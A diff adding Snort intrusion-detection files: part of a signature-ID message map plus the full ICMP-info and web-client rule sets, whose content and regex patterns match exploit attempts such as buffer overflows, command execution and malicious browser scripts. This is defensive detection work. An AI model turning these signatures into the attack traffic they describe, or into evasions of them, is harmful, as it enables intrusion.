+3738 || NETBIOS SMB-DS veritas WriteAndX andx alter context attempt
+3739 || NETBIOS SMB-DS veritas WriteAndX andx bind attempt
+3740 || NETBIOS SMB-DS veritas WriteAndX bind attempt
+3741 || NETBIOS SMB-DS veritas WriteAndX little endian alter context attempt
+3742 || NETBIOS SMB-DS veritas WriteAndX little endian andx alter context attempt
+3743 || NETBIOS SMB-DS veritas WriteAndX little endian andx bind attempt
+3744 || NETBIOS SMB-DS veritas WriteAndX little endian bind attempt
+3745 || NETBIOS SMB-DS veritas WriteAndX unicode alter context attempt
+3746 || NETBIOS SMB-DS veritas WriteAndX unicode andx alter context attempt
+3747 || NETBIOS SMB-DS veritas WriteAndX unicode andx bind attempt
+3748 || NETBIOS SMB-DS veritas WriteAndX unicode bind attempt
+3749 || NETBIOS SMB-DS veritas WriteAndX unicode little endian alter context attempt
+3750 || NETBIOS SMB-DS veritas WriteAndX unicode little endian andx alter context attempt
+3751 || NETBIOS SMB-DS veritas WriteAndX unicode little endian andx bind attempt
+3752 || NETBIOS SMB-DS veritas WriteAndX unicode little endian bind attempt
+3753 || NETBIOS SMB-DS veritas alter context attempt
+3754 || NETBIOS SMB-DS veritas andx alter context attempt
+3755 || NETBIOS SMB-DS veritas andx bind attempt
+3756 || NETBIOS SMB-DS veritas bind attempt
+3757 || NETBIOS SMB-DS veritas little endian alter context attempt
+3758 || NETBIOS SMB-DS veritas little endian andx alter context attempt
+3759 || NETBIOS SMB-DS veritas little endian andx bind attempt
+3760 || NETBIOS SMB-DS veritas little endian bind attempt
+3761 || NETBIOS SMB-DS veritas unicode alter context attempt
+3762 || NETBIOS SMB-DS veritas unicode andx alter context attempt
+3763 || NETBIOS SMB-DS veritas unicode andx bind attempt
+3764 || NETBIOS SMB-DS veritas unicode bind attempt
+3765 || NETBIOS SMB-DS veritas unicode little endian alter context attempt
+3766 || NETBIOS SMB-DS veritas unicode little endian andx alter context attempt
+3767 || NETBIOS SMB-DS veritas unicode little endian andx bind attempt
+3768 || NETBIOS SMB-DS veritas unicode little endian bind attempt
+3769 || NETBIOS DCERPC NCACN-HTTP veritas alter context attempt
+3770 || NETBIOS DCERPC NCACN-HTTP veritas bind attempt
+3771 || NETBIOS DCERPC NCACN-HTTP veritas little endian alter context attempt
+3772 || NETBIOS DCERPC NCACN-HTTP veritas little endian bind attempt
+3773 || NETBIOS DCERPC DIRECT-UDP veritas alter context attempt
+3774 || NETBIOS DCERPC DIRECT-UDP veritas bind attempt
+3775 || NETBIOS DCERPC DIRECT-UDP veritas little endian alter context attempt
+3776 || NETBIOS DCERPC DIRECT-UDP veritas little endian bind attempt
+3777 || NETBIOS DCERPC NCADG-IP-UDP veritas alter context attempt
+3778 || NETBIOS DCERPC NCADG-IP-UDP veritas bind attempt
+3779 || NETBIOS DCERPC NCADG-IP-UDP veritas little endian alter context attempt
+3780 || NETBIOS DCERPC NCADG-IP-UDP veritas little endian bind attempt
+3781 || NETBIOS-DG SMB veritas WriteAndX alter context attempt
+3782 || NETBIOS-DG SMB veritas WriteAndX andx alter context attempt
+3783 || NETBIOS-DG SMB veritas WriteAndX andx bind attempt
+3784 || NETBIOS-DG SMB veritas WriteAndX bind attempt
+3785 || NETBIOS-DG SMB veritas WriteAndX little endian alter context attempt
+3786 || NETBIOS-DG SMB veritas WriteAndX little endian andx alter context attempt
+3787 || NETBIOS-DG SMB veritas WriteAndX little endian andx bind attempt
+3788 || NETBIOS-DG SMB veritas WriteAndX little endian bind attempt
+3789 || NETBIOS-DG SMB veritas WriteAndX unicode alter context attempt
+3790 || NETBIOS-DG SMB veritas WriteAndX unicode andx alter context attempt
+3791 || NETBIOS-DG SMB veritas WriteAndX unicode andx bind attempt
+3792 || NETBIOS-DG SMB veritas WriteAndX unicode bind attempt
+3793 || NETBIOS-DG SMB veritas WriteAndX unicode little endian alter context attempt
+3794 || NETBIOS-DG SMB veritas WriteAndX unicode little endian andx alter context attempt
+3795 || NETBIOS-DG SMB veritas WriteAndX unicode little endian andx bind attempt
+3796 || NETBIOS-DG SMB veritas WriteAndX unicode little endian bind attempt
+3797 || NETBIOS-DG SMB veritas alter context attempt
+3798 || NETBIOS-DG SMB veritas andx alter context attempt
+3799 || NETBIOS-DG SMB veritas andx bind attempt
+3800 || NETBIOS-DG SMB veritas bind attempt
+3801 || NETBIOS-DG SMB veritas little endian alter context attempt
+3802 || NETBIOS-DG SMB veritas little endian andx alter context attempt
+3803 || NETBIOS-DG SMB veritas little endian andx bind attempt
+3804 || NETBIOS-DG SMB veritas little endian bind attempt
+3805 || NETBIOS-DG SMB veritas unicode alter context attempt
+3806 || NETBIOS-DG SMB veritas unicode andx alter context attempt
+3807 || NETBIOS-DG SMB veritas unicode andx bind attempt
+3808 || NETBIOS-DG SMB veritas unicode bind attempt
+3809 || NETBIOS-DG SMB veritas unicode little endian alter context attempt
+3810 || NETBIOS-DG SMB veritas unicode little endian andx alter context attempt
+3811 || NETBIOS-DG SMB veritas unicode little endian andx bind attempt
+3812 || NETBIOS-DG SMB veritas unicode little endian bind attempt
+3813 || WEB-CGI awstats.pl configdir command execution attempt || bugtraq,12298 || cve,2005-0116
+3814 || WEB-CLIENT IE javaprxy.dll COM access || bugtraq,14087 || cve,2005-2087
+3815 || SMTP eXchange POP3 mail server overflow attempt || bugtraq,10180
+3816 || WEB-MISC BadBlue ext.dll buffer overflow attempt || bugtraq,7387
+3817 || TFTP GET transfer mode overflow attempt || bugtraq,13821 || cve,2005-1812
+3818 || TFTP PUT transfer mode overflow attempt || bugtraq,13821 || cve,2005-1812
+3819 || WEB-CLIENT multipacket CHM file transfer start || bugtraq,13953 || cve,2005-1208 || nessus,18482
+3820 || WEB-CLIENT multipacket CHM file transfer attempt || bugtraq,13953 || cve,2005-1208 || nessus,18482
+3821 || WEB-CLIENT CHM file transfer attempt || bugtraq,13953 || cve,2005-1208 || nessus,18482
+3822 || WEB-MISC Real Player realtext long URI request
+3823 || WEB-MISC Real Player realtext file bad version buffer overflow attempt || bugtraq,14048 || cve,2005-1766
+3824 || SMTP AUTH user overflow attempt || bugtraq,13772
+3825 || POLICY AOL Instant Messenger Message Send
+3826 || POLICY AOL Instant Messenger Message Receive
+3827 || WEB-PHP xmlrpc.php post attempt || bugtraq,14088 || cve,2005-1921
--- snort-2.8.5.2.orig/rules/icmp-info.rules
+++ snort-2.8.5.2/rules/icmp-info.rules
@@ -0,0 +1,122 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: icmp-info.rules,v 1.23.2.1.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+#--------------
+# ICMP-INFO
+#--------------
+#
+# Description:
+# These rules are standard ICMP traffic.  They include OS pings, as well
+# as normal routing done by ICMP.  There are a number of "catch all" rules
+# that will alert on unknown ICMP types.
+#
+# Potentially "BAD" ICMP rules are included in icmp.rules
+
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP IRDP router advertisement"; itype:9; reference:arachnids,173; reference:bugtraq,578; reference:cve,1999-0875; classtype:misc-activity; sid:363; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP IRDP router selection"; itype:10; reference:arachnids,174; reference:bugtraq,578; reference:cve,1999-0875; classtype:misc-activity; sid:364; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING *NIX"; itype:8; content:"|10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F|"; depth:32; classtype:misc-activity; sid:366; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING BSDtype"; itype:8; content:"|08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17|"; depth:32; reference:arachnids,152; classtype:misc-activity; sid:368; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING BayRS Router"; itype:8; content:"|01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F|"; depth:32; reference:arachnids,438; reference:arachnids,444; classtype:misc-activity; sid:369; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING BeOS4.x"; itype:8; content:"|00 00 00 00 00 00 00 00 00 00 00 00 08 09 0A 0B|"; depth:32; reference:arachnids,151; classtype:misc-activity; sid:370; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Cisco Type.x"; itype:8; content:"|AB CD AB CD AB CD AB CD AB CD AB CD AB CD AB CD|"; depth:32; reference:arachnids,153; classtype:misc-activity; sid:371; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Delphi-Piette Windows"; itype:8; content:"Pinging from Del"; depth:32; reference:arachnids,155; classtype:misc-activity; sid:372; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Flowpoint2200 or Network Management Software"; itype:8; content:"|01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10|"; depth:32; reference:arachnids,156; classtype:misc-activity; sid:373; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING IP NetMonitor Macintosh"; itype:8; content:"|A9| Sustainable So"; depth:32; reference:arachnids,157; classtype:misc-activity; sid:374; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING LINUX/*BSD"; dsize:8; id:13170; itype:8; reference:arachnids,447; classtype:misc-activity; sid:375; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Microsoft Windows"; itype:8; content:"0123456789abcdefghijklmnop"; depth:32; reference:arachnids,159; classtype:misc-activity; sid:376; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Network Toolbox 3 Windows"; itype:8; content:"================"; depth:32; reference:arachnids,161; classtype:misc-activity; sid:377; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Ping-O-MeterWindows"; itype:8; content:"OMeterObeseArmad"; depth:32; reference:arachnids,164; classtype:misc-activity; sid:378; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Pinger Windows"; itype:8; content:"Data|00 00 00 00 00 00 00 00 00 00 00 00|"; depth:32; reference:arachnids,163; classtype:misc-activity; sid:379; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Seer Windows"; itype:8; content:"|88 04|              "; depth:32; reference:arachnids,166; classtype:misc-activity; sid:380; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Sun Solaris"; dsize:8; itype:8; reference:arachnids,448; classtype:misc-activity; sid:381; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Windows"; itype:8; content:"abcdefghijklmnop"; depth:16; reference:arachnids,169; classtype:misc-activity; sid:382; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP traceroute"; itype:8; ttl:1; reference:arachnids,118; classtype:attempted-recon; sid:385; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING"; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ICMP Address Mask Reply"; icode:0; itype:18; classtype:misc-activity; sid:386; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Address Mask Reply undefined code"; icode:>0; itype:18; classtype:misc-activity; sid:387; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Address Mask Request"; icode:0; itype:17; classtype:misc-activity; sid:388; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Address Mask Request undefined code"; icode:>0; itype:17; classtype:misc-activity; sid:389; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Alternate Host Address"; icode:0; itype:6; classtype:misc-activity; sid:390; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Alternate Host Address undefined code"; icode:>0; itype:6; classtype:misc-activity; sid:391; rev:8;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Datagram Conversion Error"; icode:0; itype:31; classtype:misc-activity; sid:392; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Datagram Conversion Error undefined code"; icode:>0; itype:31; classtype:misc-activity; sid:393; rev:8;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Destination Host Unknown"; icode:7; itype:3; classtype:misc-activity; sid:394; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Destination Network Unknown"; icode:6; itype:3; classtype:misc-activity; sid:395; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Fragmentation Needed and DF bit was set"; icode:4; itype:3; classtype:misc-activity; sid:396; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Host Precedence Violation"; icode:14; itype:3; classtype:misc-activity; sid:397; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Host Unreachable for Type of Service"; icode:12; itype:3; classtype:misc-activity; sid:398; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Host Unreachable"; icode:1; itype:3; classtype:misc-activity; sid:399; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Network Unreachable for Type of Service"; icode:11; itype:3; classtype:misc-activity; sid:400; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Network Unreachable"; icode:0; itype:3; classtype:misc-activity; sid:401; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Port Unreachable"; icode:3; itype:3; classtype:misc-activity; sid:402; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Precedence Cutoff in effect"; icode:15; itype:3; classtype:misc-activity; sid:403; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Protocol Unreachable"; icode:2; itype:3; classtype:misc-activity; sid:404; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Source Host Isolated"; icode:8; itype:3; classtype:misc-activity; sid:405; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Source Route Failed"; icode:5; itype:3; classtype:misc-activity; sid:406; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable cndefined code"; icode:>15; itype:3; classtype:misc-activity; sid:407; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Echo Reply"; icode:0; itype:0; classtype:misc-activity; sid:408; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Echo Reply undefined code"; icode:>0; itype:0; classtype:misc-activity; sid:409; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Fragment Reassembly Time Exceeded"; icode:1; itype:11; classtype:misc-activity; sid:410; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP IPV6 I-Am-Here"; icode:0; itype:34; classtype:misc-activity; sid:411; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP IPV6 I-Am-Here undefined code"; icode:>0; itype:34; classtype:misc-activity; sid:412; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP IPV6 Where-Are-You"; icode:0; itype:33; classtype:misc-activity; sid:413; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP IPV6 Where-Are-You undefined code"; icode:>0; itype:33; classtype:misc-activity; sid:414; rev:7;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ICMP Information Reply"; icode:0; itype:16; classtype:misc-activity; sid:415; rev:5;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ICMP Information Reply undefined code"; icode:>0; itype:16; classtype:misc-activity; sid:416; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Information Request"; icode:0; itype:15; classtype:misc-activity; sid:417; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Information Request undefined code"; icode:>0; itype:15; classtype:misc-activity; sid:418; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Mobile Host Redirect"; icode:0; itype:32; classtype:misc-activity; sid:419; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Mobile Host Redirect undefined code"; icode:>0; itype:32; classtype:misc-activity; sid:420; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Mobile Registration Reply"; icode:0; itype:36; classtype:misc-activity; sid:421; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Mobile Registration Reply undefined code"; icode:>0; itype:36; classtype:misc-activity; sid:422; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Mobile Registration Request"; icode:0; itype:35; classtype:misc-activity; sid:423; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Mobile Registration Request undefined code"; icode:>0; itype:35; classtype:misc-activity; sid:424; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Parameter Problem Bad Length"; icode:2; itype:12; classtype:misc-activity; sid:425; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Parameter Problem Missing a Required Option"; icode:1; itype:12; classtype:misc-activity; sid:426; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Parameter Problem Unspecified Error"; icode:0; itype:12; classtype:misc-activity; sid:427; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Parameter Problem undefined Code"; icode:>2; itype:12; classtype:misc-activity; sid:428; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Photuris Reserved"; icode:0; itype:40; classtype:misc-activity; sid:429; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Photuris Unknown Security Parameters Index"; icode:1; itype:40; classtype:misc-activity; sid:430; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Photuris Valid Security Parameters, But Authentication Failed"; icode:2; itype:40; classtype:misc-activity; sid:431; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Photuris Valid Security Parameters, But Decryption Failed"; icode:3; itype:40; classtype:misc-activity; sid:432; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Photuris undefined code!"; icode:>3; itype:40; classtype:misc-activity; sid:433; rev:8;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Redirect for TOS and Host"; icode:3; itype:5; classtype:misc-activity; sid:436; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Redirect for TOS and Network"; icode:2; itype:5; classtype:misc-activity; sid:437; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Redirect undefined code"; icode:>3; itype:5; classtype:misc-activity; sid:438; rev:9;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Reserved for Security Type 19"; icode:0; itype:19; classtype:misc-activity; sid:439; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Reserved for Security Type 19 undefined code"; icode:>0; itype:19; classtype:misc-activity; sid:440; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Router Advertisement"; icode:0; itype:9; reference:arachnids,173; classtype:misc-activity; sid:441; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Router Selection"; icode:0; itype:10; reference:arachnids,174; classtype:misc-activity; sid:443; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP SKIP"; icode:0; itype:39; classtype:misc-activity; sid:445; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP SKIP undefined code"; icode:>0; itype:39; classtype:misc-activity; sid:446; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Source Quench undefined code"; icode:>0; itype:4; classtype:misc-activity; sid:448; rev:7;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ICMP Time-To-Live Exceeded in Transit"; icode:0; itype:11; classtype:misc-activity; sid:449; rev:6;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ICMP Time-To-Live Exceeded in Transit undefined code"; icode:>1; itype:11; classtype:misc-activity; sid:450; rev:8;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Timestamp Reply"; icode:0; itype:14; classtype:misc-activity; sid:451; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Timestamp Reply undefined code"; icode:>0; itype:14; classtype:misc-activity; sid:452; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Timestamp Request"; icode:0; itype:13; classtype:misc-activity; sid:453; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Timestamp Request undefined code"; icode:>0; itype:13; classtype:misc-activity; sid:454; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Traceroute"; icode:0; itype:30; classtype:misc-activity; sid:456; rev:5;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Traceroute undefined code"; icode:>0; itype:30; classtype:misc-activity; sid:457; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP unassigned type 1"; icode:0; itype:1; classtype:misc-activity; sid:458; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP unassigned type 1 undefined code"; itype:1; classtype:misc-activity; sid:459; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP unassigned type 2"; icode:0; itype:2; classtype:misc-activity; sid:460; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP unassigned type 2 undefined code"; itype:2; classtype:misc-activity; sid:461; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP unassigned type 7"; icode:0; itype:7; classtype:misc-activity; sid:462; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP unassigned type 7 undefined code"; itype:7; classtype:misc-activity; sid:463; rev:7;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING undefined code"; icode:>0; itype:8; classtype:misc-activity; sid:365; rev:8;)
--- snort-2.8.5.2.orig/rules/web-client.rules
+++ snort-2.8.5.2/rules/web-client.rules
@@ -0,0 +1,54 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-client.rules,v 1.20.2.8.2.7 2005/07/22 19:19:54 mwatchinski Exp $
+#---------------
+# WEB-CLIENT RULES
+#---------------
+#
+# These signatures look for two things:
+# * bad things coming from our users
+# * attacks against our web users
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT Outlook EML access"; flow:from_client,established; uricontent:".eml"; reference:nessus,10767; classtype:attempted-user; sid:1233; rev:11;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT Microsoft emf metafile access"; flow:from_client,established; uricontent:".emf"; reference:bugtraq,10120; reference:bugtraq,9707; reference:cve,2003-0906; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-user; sid:2435; rev:5;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT Microsoft wmf metafile access"; flow:from_client,established; uricontent:".wmf"; reference:bugtraq,10120; reference:bugtraq,9707; reference:cve,2003-0906; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-user; sid:2436; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT XMLHttpRequest attempt"; flow:to_client,established; content:"new XMLHttpRequest|28|"; content:"file|3A|//"; nocase; reference:bugtraq,4628; reference:cve,2002-0354; classtype:web-application-attack; sid:1735; rev:7;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT readme.eml download attempt"; flow:from_client,established; uricontent:"/readme.eml"; nocase; reference:url,www.cert.org/advisories/CA-2001-26.html; classtype:attempted-user; sid:1284; rev:10;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT readme.eml autoload attempt"; flow:to_client,established; content:"window.open|28 22|readme.eml|22|"; nocase; reference:url,www.cert.org/advisories/CA-2001-26.html; classtype:attempted-user; sid:1290; rev:10;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Javascript document.domain attempt"; flow:to_client,established; content:"document.domain|28|"; nocase; reference:bugtraq,5346; reference:cve,2002-0815; classtype:attempted-user; sid:1840; rev:7;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Javascript URL host spoofing attempt"; flow:to_client,established; content:"javascript|3A|//"; nocase; reference:bugtraq,5293; classtype:attempted-user; sid:1841; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT RealPlayer arbitrary javascript command attempt"; flow:to_client,established; content:"Content-Type|3A|"; nocase; pcre:"/^Content-Type\x3a\s*application\x2fsmi.*?<area[\s\n\r]+href=[\x22\x27]file\x3ajavascript\x3a/smi"; reference:bugtraq,8453; reference:bugtraq,9378; reference:cve,2003-0726; classtype:attempted-user; sid:2437; rev:7;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT RealPlayer playlist file URL overflow attempt"; flow:from_server,established; flowbits:isset,realplayer.playlist; content:"file|3A|//"; nocase; pcre:"/^file\x3a\x2f\x2f[^\n]{400}/smi"; reference:bugtraq,9579; reference:cve,2004-0258; classtype:attempted-user; sid:2438; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT RealPlayer playlist http URL overflow attempt"; flow:from_server,established; flowbits:isset,realplayer.playlist; content:"http|3A|//"; nocase; pcre:"/^http\x3a\x2f\x2f[^\n]{400}/smi"; reference:bugtraq,9579; reference:cve,2004-0258; classtype:attempted-user; sid:2439; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT RealPlayer playlist rtsp URL overflow attempt"; flow:from_server,established; flowbits:isset,realplayer.playlist; content:"rtsp|3A|//"; nocase; pcre:"/^http\x3a\x2f\x2f[^\n]{400}/smi"; reference:bugtraq,9579; reference:cve,2004-0258; classtype:attempted-user; sid:2440; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Norton antivirus sysmspam.dll load attempt"; flow:to_client,established; content:"clsid|3A|"; nocase; content:"0534CF61-83C5-4765-B19B-45F7A4E135D0"; nocase; reference:bugtraq,9916; reference:cve,2004-0363; classtype:attempted-admin; sid:2485; rev:5;)
